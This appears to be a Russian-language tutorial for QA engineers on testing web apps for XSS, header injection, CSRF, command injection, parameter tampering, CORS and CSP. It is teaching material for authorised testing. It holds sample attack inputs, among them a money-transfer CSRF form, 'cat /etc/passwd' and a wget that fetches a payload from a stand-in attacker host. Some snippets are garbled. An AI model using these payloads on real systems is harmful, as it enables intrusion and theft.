Основы кибербезопасности: практические советы по тестированию безопасности веб-приложений для инженеров по контролю качества

В этой статье рассматриваются фундаментальные уязвимости и методы тестирования, а также предоставляются практические идеи, которые помогут улучшить ваши навыки пентестирования веб-приложений. Статья объединяет серию моих постов, посвященных инженерам и аналитикам по обеспечению качества, и обеспечивает практическое исследование фундаментальных уязвимостей кибербезопасности. Цель состоит в том, чтобы предоставить инженерам/тестировщикам/аналитикам по обеспечению качества знания, которые устранят разрыв между контролем качества программного обеспечения и кибербезопасностью , способствуя единому подходу для обеспечения целостности и безопасности веб-приложений.

Это не полное руководство, но я хотел бы поделиться своим опытом работы в качестве инженера по обеспечению качества, интересующегося областью кибербезопасности; это будет довольно поверхностная информация с некоторыми полезными ссылками, если вы заинтересованы в более глубоком изучении некоторых аспектов.

1. XSS (межсайтовый скриптинг)

Одной из критических и наиболее распространенных уязвимостей является XSS — https://owasp.org/www-community/attacks/xss/ .

Я поделюсь простым подходом и советами о том, как тестировать XSS, не обладая обширными знаниями в этой области и технологиях фронтенд-разработки.

• Введите, например, тег сценария, а затем некоторый код JS в поля ввода вашего приложения.

 <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))

• Отправьте ввод и посмотрите, выполнится ли скрипт.

• Если это так, то приложение уязвимо для XSS-атак.

• Если скрипт не выполняется, попробуйте изменить ввод, добавив другие теги HTML, такие как <img> или <iframe>, и посмотрите, отражаются ли они на странице, например (этот пример почти всегда работает для меня).

   <b>t</b>#`"/*—est

• Вы можете добавить скрипт для запроса параметров URL-адреса вашего веб-приложения или имени пользователя, имен загруженных файлов ( https://github.com/cure53/H5SC ) или любого текста, который будет отображаться на странице приложения, который вы можете изменить. .

• Помните о предварительной проверке входных данных. Всегда старайтесь отправлять значение с помощью прямого запроса (с помощью Postman, Burp или любых подобных инструментов).

• Используйте фаззинг и список полезной нагрузки — по возможности автоматизируйте этот подход или используйте для этого специальные инструменты.

Говоря об инструментах, их множество для обнаружения XSS, пробования разных, сравнения результатов несколько раз с разными приложениями и выбора того, который вам больше всего нравится: https://linuxhint.com/free_xss_tools/ (я использовал много OWASP ZAP и BurpSuite).

Лично мне нравится использовать полезные данные и информацию отсюда — https://github.com/s0md3v/AwesomeXSS — на мой взгляд, очень полезный ресурс.

Более подробную информацию о XSS и полезных нагрузках можно найти на следующих ресурсах:

• https://owasp.org/www-community/attacks/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

2. Инъекции заголовков

Эта уязвимость возникает, когда злоумышленник может внедрить вредоносный код в заголовок веб-сайта, что позволяет ему выполнять несанкционированные действия или получать доступ к конфиденциальной информации.

Чтобы проверить наличие инъекции заголовка, вы можете выполнить несколько шагов:

• Используйте такие инструменты, как Postman, Burp или любые подобные инструменты, для управления заголовками HTTP и посмотрите, сможете ли вы добавить какие-либо несанкционированные заголовки или изменить существующие.
• Проверьте, отправляет ли сервер конфиденциальную информацию в заголовках ответа.
• Попробуйте манипулировать файлами cookie, добавляя вредоносный контент или изменяя их значения. Одним из примеров полезных данных для проверки внедрения заголовка является включение символа новой строки в поле заголовка, за которым следуют дополнительные заголовки.

 (%0d%0a OR \r\n)

Например, для внедрения заголовка Set-Cookie можно использовать следующую полезную нагрузку:

 User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked

Другим примером является внедрение заголовка Host, когда злоумышленник может манипулировать заголовком Host для доступа к другому веб-сайту или поддомену на том же сервере. Например:

 Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com

Чтобы узнать больше о внедрении заголовков, вы можете обратиться к следующим ресурсам:

• https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.acunetix.com/blog/web-security-zone/http-header-injection/
• https://portswigger.net/web-security/host-header/exploiting

3. CSRF (подделка межсайтового запроса)

CSRF возникает, когда вредоносный веб-сайт обманным путем заставляет пользователя действовать на другом веб-сайте, на котором пользователь в данный момент вошел в систему. Этот тип атаки может привести к выполнению несанкционированных действий (любого POST-запроса) от имени пользователя.

В двух словах, чтобы проверить уязвимости CSRF, вы можете сделать следующее:

• Найдите на веб-сайте любые формы или действия, которые выполняют конфиденциальные действия, например, смену паролей или выполнение транзакций (или любые другие почтовые запросы, которые могут нанести вред пользователям, если они выполняются от имени пользователя без их ведома).
• Создайте HTML-страницу или фрагмент кода, содержащий скрытую форму, выполняющую то же действие, например:

 <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>

• Сохраните этот код в виде HTML-файла и откройте его в том же браузере, в котором вы вошли на тестируемый сайт.
• Проверьте, не было ли действие выполнено без ведома или разрешения пользователя. В примере 2 пользователя обманом заставляют посетить веб-сайт, который автоматически отправляет скрытую форму для перевода 1000 на учетную запись злоумышленника на целевом веб-сайте.

Чтобы предотвратить атаки CSRF, используйте токены защиты от CSRF или файлы cookie того же сайта, чтобы проверить происхождение запроса. Эти токены представляют собой уникальные значения, которые генерируются сервером и включаются в параметры формы или URL-адреса. При отправке формы сервер проверяет, соответствует ли токен ожидаемому значению, и отклоняет запрос, если они не совпадают. Вот пример на Python:

 import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response

Полезные ресурсы:

• https://owasp.org/www-community/attacks/csrf
• https://portswigger.net/web-security/csrf
• https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

4. RCE (удаленное выполнение кода) и внедрение команд

Уязвимости RCE и внедрения команд возникают, когда злоумышленники могут выполнить произвольный код или команды ОС в целевой системе. Атаки такого типа могут привести к полной компрометации системы и несанкционированному доступу к конфиденциальным данным.

В двух словах, чтобы проверить наличие уязвимостей RCE и Command Injection, вы можете сделать следующее:

• Определите поля ввода или параметры, которыми можно манипулировать. Эти поля ввода или параметры можно найти в самых разных местах, например, в формах, параметрах URL-адресов, файлах cookie, заголовках HTTP и т. д. Чтобы идентифицировать такие параметры, вы можете использовать такой инструмент, как Burp Suite, который позволяет перехватывать и изменять HTTP-запросы и ответы (в бесплатной версии). Burp будет захватывать и отображать все запросы и ответы, включая поля ввода и параметры. Получив параметры, вам необходимо проверить, можно ли их использовать для выполнения вставленного кода или команд ОС.
• Внедряйте вредоносные полезные данные в эти поля или параметры. Вот несколько возможных и простых примеров:

 ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3

• Проверьте поведение приложения, чтобы убедиться, что полезные данные были выполнены успешно и была ли вам отправлена какая-либо конфиденциальная информация. Например, если вы использовали ls -la и приложение отобразило список файлов и каталогов на сервере, это указывает на то, что полезная нагрузка была выполнена успешно и что приложение уязвимо для внедрения команд.

Не все полезные нагрузки приведут к видимому результату. В таких случаях вам может потребоваться использовать другие методы, например мониторинг сетевого трафика или просмотр файлов журналов.

Чтобы предотвратить атаки RCE и внедрения команд, необходимо проверять вводимые пользователем данные, а вредоносные символы или команды необходимо удалять или очищать.

Вот несколько полезных ресурсов для дальнейшего обучения:

• https://owasp.org/www-community/attacks/Command_Injection
• https://owasp.org/www-community/attacks/Code_Injection
• https://portswigger.net/web-security

5. Изменение веб-параметров

Этот тип атаки возникает, когда вы манипулируете параметрами, передаваемыми со стороны клиента на сторону сервера, что приводит, например, к несанкционированному доступу или повышению привилегий.

Чтобы проверить наличие этого типа уязвимости, вы можете сделать следующее:

• Определите поля ввода или параметры, которыми можно манипулировать. Как и в случае с другими уязвимостями, вы можете использовать такой инструмент, как Burp Suite, для перехвата и изменения HTTP-запросов и ответов.
• Измените параметры. Например, если параметр контролирует цену продукта, вы можете изменить его, чтобы покупать товары по более низкой цене: - измените цену продукта с 10 на 1. - обойдите аутентификацию, манипулируя параметром идентификатора пользователя. - измените количество товара до отрицательного числа, чтобы получить возмещение, или до большего числа, чтобы получить больше товаров по цене 1 товара.
• Проверьте поведение приложения, чтобы убедиться, что вмешательство было успешным. Например, если вы успешно измените цену, приложение должно отразить это изменение, когда вы проверите корзину или чек.
• И, конечно же, сообщите о своих выводах разработчикам, чтобы они могли устранить проблему до того, как она станет угрозой безопасности.

Для предотвращения атак с подделкой веб-параметров решающее значение имеют проверка и очистка входных данных. Убедитесь, что все входные данные проверены на стороне сервера и что приложение отклоняет любые вредоносные входные данные. Я бы сказал, что эти типы уязвимостей лучше всего выявляются командой контроля качества, поскольку специалисты по обеспечению качества знают приложение/продукт, его логику и параметры лучше, чем инженеры информационной безопасности, которые обычно не участвуют в процессе разработки.

Вот несколько дополнительных ресурсов, которые помогут вам узнать больше о фальсификации веб-параметров:

• https://owasp.org/www-community/attacks/Web_Parameter_Tampering
• https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/
• https://www.imperva.com/learn/application-security/parameter-tampering/

6. Совместное использование ресурсов между источниками (CORS)

Это механизм безопасности, который запрещает веб-страницам отправлять запросы к домену, отличному от того, который обслуживает веб-страницу.

Вы можете проверить, выполнив следующие действия:

• Откройте в браузере любой домен (например, google.com), с которого должен быть запрещен доступ к вашему хостингу.
• В консоли браузера используйте эту команду:

 fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })

• Если все настроено правильно, вы должны получить следующее:

 access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Выполните следующие простые шаги:

1. Найдите домены происхождения и назначения, участвующие в запросе. Исходный домен — это домен веб-страницы, отправляющей запрос, а целевой домен — это домен, на который отправляется запрос.
2. Используя такой инструмент, как Postman, отправьте запрос из исходного домена в целевой домен. Обязательно включите соответствующие заголовки, чтобы указать, что запрос является запросом между источниками.
3. Сервер должен включить в ответ заголовок Access-Control-Allow-Origin, чтобы указать, что запрос разрешен из исходного домена. Если этот заголовок отсутствует или ему присвоено другое значение, это может указывать на уязвимость приложения.
4. Если заголовок Access-Control-Allow-Origin отсутствует или ему присвоено значение, попробуйте обойти ограничения, изменив запрос. Например, вы можете попробовать изменить заголовок Origin, чтобы он соответствовал целевому домену, или использовать другой метод HTTP. Вот несколько примеров запросов для тестирования:

 Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With

Ответ:

 HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With

Для получения дополнительной информации о CORS вот несколько полезных ресурсов:

• https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
• https://portswigger.net/web-security/cors

7. Заголовок политики безопасности контента (CSP) не установлен.

CSP — это механизм, который помогает предотвратить XSS-атаки, позволяя указать, какие источники контента разрешено загружать на веб-страницы. Без установленного заголовка CSP потенциально возможно внедрить на страницу вредоносные сценарии и украсть конфиденциальные пользовательские данные или выполнить другие действия.

Чтобы проверить заголовок CSP, вы можете сделать следующее:

• Откройте веб-страницу, которую хотите протестировать, в браузере.
• Откройте инструменты разработки в браузере и перейдите в консоль.
• Введите следующий код:

 document.cookie=TESTCOOKIE=XSS;

• Если все работает успешно - никаких сообщений об ошибках. Это указывает на то, что страница потенциально уязвима для XSS, поскольку позволяет устанавливать файлы cookie из внешнего источника.

Попробуйте внедрить скрипт на страницу и посмотреть, выполнится ли он. Например, вставьте следующий код в консоль браузера:

 var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);

Найдите заголовок Content-Security-Policy в заголовках ответов. Если этот заголовок отсутствует, это означает, что на веб-странице не установлен заголовок CSP.

Заголовок CSP — важная вещь в безопасности веб-приложений.

Для получения дополнительной информации о CSP:

• https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
• https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

Симбиотическая связь между кибербезопасностью и контролем качества программного обеспечения важна с точки зрения безопасности программных приложений. Благодаря интеграции методологий моделирования угроз и методов автоматизированного нечеткого тестирования инженеры по обеспечению качества вносят значительный вклад в раннее обнаружение и устранение уязвимостей безопасности. Сотрудничество между командами кибербезопасности и контроля качества является неотъемлемой частью единого подхода к разработке программного обеспечения, при этом роль отдела контроля качества выходит за рамки функционального тестирования и тестирования удобства использования и включает упреждающее выявление и устранение потенциальных недостатков безопасности. Признание качества как стратегического актива в усилиях по обеспечению кибербезопасности важно, поскольку оно не только усиливает защиту данных, но и защищает репутацию компании, доверие клиентов и общую финансовую стабильность. Технические навыки специалистов по обеспечению качества в сочетании с их строгой практикой тестирования обеспечивают надежную защиту от киберугроз.

Важное напоминание:

Всегда проводите тестирование на проникновение с явного разрешения и в контролируемой среде. Такой этический подход гарантирует, что оценки безопасности будут соответствовать протоколам ответственного тестирования, предотвращая непреднамеренный взлом систем и поддерживая целостность как процесса тестирования, так и всеобъемлющей стратегии кибербезопасности.

В этой статье приводятся практические советы для инженеров по обеспечению качества по улучшению тестирования безопасности веб-приложений, объединению контроля качества программного обеспечения и кибербезопасности. Это руководство для начинающих, содержащее ценную информацию и полезные ссылки для тех, кто хочет узнать больше.

Также опубликовано здесь .